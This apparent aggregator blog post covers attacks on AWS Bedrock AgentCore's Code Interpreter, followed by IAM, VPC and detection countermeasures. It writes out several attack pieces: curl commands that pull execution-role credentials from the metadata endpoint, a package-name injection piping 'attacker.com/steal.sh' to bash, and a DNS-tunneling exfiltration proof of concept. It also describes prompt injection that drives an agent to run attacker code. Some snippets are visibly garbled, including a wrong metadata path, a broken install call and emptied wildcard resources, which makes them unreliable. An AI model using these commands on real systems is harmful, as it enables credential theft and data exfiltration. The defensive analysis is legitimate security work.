Listen to this Post
Introduction:
Amazon Bedrock AgentCore’s Code Interpreter is a powerful capability that allows AI agents to write and execute arbitrary code for solving complex tasks, from financial analysis to data processing. However, this convenience comes at a steep security price: the sandboxed environment, built atop Firecracker microVMs and equipped with comprehensive Python libraries, operates under IAM execution roles that, when misconfigured, become an attacker’s dream. Recent research has exposed multiple attack vectors—from IMDS credential theft and DNS tunneling to cross-agent privilege escalation—that collectively transform this agentic tool from an enterprise asset into a critical vulnerability waiting to be exploited.
Learning Objectives:
- Understand the architectural vulnerabilities of AWS Bedrock AgentCore’s Code Interpreter, including MMDS credential exposure and sandbox bypass techniques
- Master the exploitation chain from initial code injection to cross-agent privilege escalation and data exfiltration
- Implement practical countermeasures including VPC deployment, IAM least-privilege scoping, and detection engineering for agentic AI workloads
- The Anatomy of AgentCore Code Interpreter: Architecture and Attack Surface
Amazon Bedrock AgentCore’s Code Interpreter is a fully managed service that enables AI agents to securely execute code in isolated sandbox environments. Under the hood, each Code Interpreter session runs inside a Firecracker microVM—the same technology powering AWS Lambda and Fargate—with preinstalled Python libraries and an IAM execution role that grants permissions to call AWS APIs.
The critical flaw lies in how credentials are delivered. The microVM exposes temporary execution-role credentials via an internal metadata service called MMDS (MicroVM Metadata Service) at 169.254.169.254—AgentCore’s equivalent of EC2’s IMDS. Any code that reaches the microVM can read these credentials using a simple HTTP request:
Retrieve MMDS credentials from inside the Code Interpreter TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-ware/identity-credentials/ec2/security-credentials/execution-role
This design means that anyone who can influence code execution within the interpreter—whether through direct prompt injection, malicious package installation, or compromised agent logic—can exfiltrate these credentials and use them against the AWS API from outside the agent environment entirely. The credentials are logged to CloudTrail under the execution role’s own identity, not the attacker’s, creating a forensic attribution gap that complicates incident response.
2. CVE-2026-16796 and CVE-2026-12530: Package Installation Command Injection
Two critical CVEs highlight the severity of input validation failures in the Code Interpreter’s Python SDK. CVE-2026-16796 (CVSS: High) and CVE-2026-12530 affect the `install_packages()` method, where improper neutralization of argument delimiters allows remote authenticated users to execute arbitrary commands within the sandbox via crafted package name arguments.
Vulnerable Code Pattern:
from bedrock_agentcore import CodeInterpreterClient Attacker-controlled input from prompt injection malicious_package = "numpy; curl http://attacker.com/steal.sh | bash" client.install_packages([bash]) Command injection!
Exploitation in Practice:
An attacker who can influence the arguments to `install_packages()` can bypass input validation and achieve arbitrary command execution within the sandbox. This is particularly dangerous because the Code Interpreter environment comes with the AWS CLI installed—though not configured with credentials by default, the MMDS endpoint provides those credentials on demand.
Mitigation:
- Upgrade to `bedrock-agentcore` version 1.18.1 or later
- If unable to upgrade, never pass untrusted or model-generated input to `install_packages()`
– Validate dynamic package names against strict PyPI naming rules, constraining extras groups to comma-separated identifiers
- DNS Tunneling: Complete Sandbox Bypass via Covert C2 Channels
Perhaps the most alarming discovery is that the Code Interpreter’s “Sandbox” network mode—advertised as providing complete network isolation—fails to properly isolate the environment from external network access. Despite being configured with no external network access, the sandboxed Code Interpreter can still make DNS queries for `A` and `AAAA` records, enabling complete bypass of sandbox restrictions through DNS-based command and control.
Attack Architecture:
- Command Delivery (Server → Client): The operator sends commands via an HTTP API to a DNS C2 server running on EC2. Commands are base64-encoded and split into 3-character chunks, with each chunk encoded in an IP address response where octets 2-4 contain ASCII values of the characters.
-
Data Exfiltration (Client → Server): The sandboxed Code Interpreter makes DNS queries that Route53 delegates to the C2 server via NS records. Output is base64-encoded and embedded in DNS subdomain queries.
-
Reverse Shell: This protocol enables bidirectional communication via DNS queries and responses, establishing a full interactive reverse shell from inside the supposedly isolated sandbox.
Proof of Concept Implementation:
import socket
import base64
def dns_exfil(data):
encoded = base64.b64encode(data.encode()).decode()
chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
for chunk in chunks:
Each DNS query exfiltrates a chunk
socket.gethostbyname(f"{chunk}.attacker-controlled-domain.com")
This DNS tunneling technique allows attackers to exfiltrate sensitive data from S3 buckets or DynamoDB tables and execute any AWS API calls permitted by the Code Interpreter’s IAM role. The vulnerability was initially scored at CVSSv3 8.1, later revised to 7.5.
- Cross-Agent Privilege Escalation: The “Agent God Mode” Attack Chain
The AgentCore starter toolkit’s default deployment configuration introduces what Palo Alto Networks calls “Agent God Mode” —overly broad IAM permissions that effectively grant an individual agent omniscient ability to escalate privileges and compromise every other AgentCore agent within the AWS account.
The Overly Permissive IAM Role:
The starter toolkit auto-generates an IAM execution role with wildcard scopes across multiple AgentCore surfaces:
{
"Effect": "Allow",
"Action": "ecr:BatchGetImage",
"Resource": "arn:aws:ecr:::repository/" // Pull any container image
},
{
"Effect": "Allow",
"Action": "bedrock-agentcore:",
"Resource": "arn:aws:bedrock-agentcore:::memory/" // Read/write any agent's memory
},
{
"Effect": "Allow",
"Action": "bedrock-agentcore:InvokeCodeInterpreter",
"Resource": "" // Invoke every code interpreter
}
The Four Attack Paths:
| Attack Path | Existing Resource | New Resource (Requires iam:PassRole) |
|-|-|–|
| Runtime | `bedrock-agentcore:InvokeAgentRuntimeCommand` | CreateAgentRuntime + CreateAgentRuntimeEndpoint + CreateWorkloadIdentity |
| Harness | `bedrock-agentcore:InvokeAgentRuntimeCommand` | CreateHarness + CreateAgentRuntime + CreateAgentRuntimeEndpoint |
| Code Interpreter | `bedrock-agentcore:StartCodeInterpreterSession` + `InvokeCodeInterpreter` | CreateCodeInterpreter + StartCodeInterpreterSession + InvokeCodeInterpreter |
| Custom Browser | `bedrock-agentcore:StartBrowserSession` + `ConnectBrowserAutomationStream` | CreateBrowser + StartBrowserSession + ConnectBrowserAutomationStream |
Source: BeyondTrust privilege escalation mapping
Exploitation Chain:
- Compromise a single Code Interpreter (via prompt injection or malicious input)
2. Read MMDS credentials from `169.254.169.254`
- Use those credentials to enumerate other agents’ memory stores and runtimes
- Exfiltrate proprietary ECR images, access other agents’ memories, and invoke every code interpreter in the account
AWS’s Response: Following disclosure, AWS updated documentation to state that the default roles are “designed for development and testing purposes” and not recommended for production deployment. However, AWS has classified the privilege escalation behavior as “expected design” rather than a defect.
5. Countermeasures: Securing Bedrock AgentCore in Production
5.1 Scope IAM Permissions with Least Privilege
The single most effective countermeasure is eliminating wildcard permissions. Instead of resource: "", scope each permission to the specific agent’s resources:
{
"Effect": "Allow",
"Action": "bedrock-agentcore:InvokeCodeInterpreter",
"Resource": "arn:aws:bedrock-agentcore:us-east-1:123456789012:code-interpreter/my-agent-001"
}
Implementation: Use IAM Access Analyzer to validate policies and ensure they adhere to IAM policy language and best practices. Implement resource-based policies to restrict which principals can invoke specific Code Interpreters.
5.2 Deploy Code Interpreters in VPC Mode
By default, runtimes are deployed in PUBLIC mode on shared AWS infrastructure with potential exposure to the public internet. VPC mode provides critical network-level isolation:
Configure VPC mode for Code Interpreter
response = client.create_code_interpreter(
name="secure-interpreter",
executionRoleArn="arn:aws:iam::123456789012:role/restricted-role",
networkModeConfig={
"networkMode": "VPC",
"subnetIds": ["subnet-abc123", "subnet-def456"],
"securityGroupIds": ["sg-789xyz"]
}
)
Benefits of VPC Mode:
- ENIs are placed in your controlled subnets with private IP addresses
- Outbound traffic passes through your security groups and network ACLs
- VPC flow logs enable security auditing and incident response
- Egress can be restricted using AWS Network Firewall for domain-based filtering
5.3 Leverage Organization-Level Controls (SCPs)
For enterprise-wide enforcement, use Service Control Policies (SCPs) to block dangerous actions across all accounts:
{
"Effect": "Deny",
"Action": [
"bedrock-agentcore:CreateCodeInterpreter",
"bedrock-agentcore:CreateAgentRuntime"
],
"Resource": "",
"Condition": {
"StringNotEquals": {
"aws:ResourceTag/Environment": "Production"
}
}
}
5.4 Implement Cedar-Based Policy Enforcement
AgentCore’s Cedar-based Policy layer (GA as of March 2026) provides runtime enforcement at the Gateway boundary for tool-invocation control. Define policies that restrict which tools agents can invoke and under what conditions:
// Restrict code execution to specific S3 buckets
permit (
principal in AgentCore::Agent::"my-agent",
action in [AgentCore::Action::"InvokeCodeInterpreter"],
resource in AgentCore::CodeInterpreter::"restricted-interpreter"
) when {
resource.bucketName in ["allowed-bucket-1", "allowed-bucket-2"]
};
5.5 Upgrade to Patched Versions
- Upgrade `bedrock-agentcore` SDK to v1.18.1 or later
- Upgrade AgentCore CLI to v0.14.2 or later
- If using the Starter Toolkit, ensure you’re on v0.1.13 or later
5.6 Detection Engineering
CloudTrail Monitoring: Since stolen credentials are recorded under the execution role’s identity, monitor for anomalous service usage patterns:
Detect Code Interpreter execution role used outside its runtime aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=InvokeCodeInterpreter \ --start-time 2026-07-01T00:00:00Z --end-time 2026-07-27T23:59:59Z
Elastic Detection Rule: Install the Elastic Security detection rule for “AWS Bedrock AgentCore Execution Role Used Outside Its Runtime” into your Elastic Stack.
What Undercode Say:
- “The credential exposure primitive is the root cause of most AgentCore attack chains.” Every Code Interpreter, Runtime, Harness, and Browser runs on Firecracker microVMs with the execution role on MMDS at
169.254.169.254. This single architectural decision creates a unified attack surface across all AgentCore components. Until this design is revised, every piece of code executed inside any AgentCore component becomes a potential credential theft vector. -
“Wildcard IAM roles are not just bad practice—they’re an open invitation for cross-agent compromise.” The starter toolkit’s default role grants `bedrock-agentcore:InvokeCodeInterpreter` on “, meaning a single compromised agent can invoke every code interpreter in the account. Combined with MMDS credential exposure, this creates a privilege escalation chain that bypasses traditional IAM boundaries entirely. Organizations must treat AgentCore roles with the same rigor as EC2 instance profiles—perhaps even more so, given the non-deterministic nature of LLM-driven code execution.
The security community has identified at least eight validated attack vectors against AWS Bedrock, including memory poisoning, cross-agent privilege escalation, and supply chain attacks through malicious MCP servers. The OWASP Top 10 for Agentic Applications (2026) now explicitly includes “Tool Misuse and Exploitation” (ASI02) and “Memory Poisoning” as top risks. This reflects a broader industry recognition that agentic AI introduces fundamentally new security challenges that extend beyond traditional cloud security paradigms.
Prediction:
- +1 The growing awareness of AgentCore vulnerabilities will drive rapid adoption of VPC mode and least-privilege IAM scoping among enterprise AWS customers. Organizations that prioritize these controls will establish a competitive advantage in AI security posture.
-
+1 AWS will likely introduce native credential rotation and short-lived token mechanisms for AgentCore components, reducing the window of opportunity for credential theft attacks similar to how IMDSv2 improved EC2 instance security.
-
-1 The DNS tunneling vulnerability highlights a fundamental limitation of sandbox isolation: DNS is nearly always permitted for legitimate operations. Expect to see more DNS-based C2 channels emerge as attackers realize the persistence and stealth this technique offers.
-
-1 The “expected design” classification of AgentCore privilege escalation paths by AWS creates a dangerous complacency. Organizations relying on AWS’s security guarantees without implementing their own controls will face inevitable breaches as attackers increasingly target agentic AI workloads.
-
-1 As AgentCore adoption scales (the preview SDK already has over two million downloads), the attack surface will expand exponentially. The combination of non-deterministic LLM reasoning and broad IAM permissions creates a perfect storm for automated, AI-powered attacks that can dynamically discover and exploit trust boundaries.
-
+1 The emergence of OWASP’s Agentic AI security frameworks and dedicated attack emulation platforms like Mitigant will enable organizations to safely validate their defenses before attackers find the vulnerabilities first. This proactive approach will become the new standard for AI security governance.
▶️ Related Video (80% Match):
https://www.youtube.com/watch?v=198KpO3ZCbI
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Aondona Aisecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
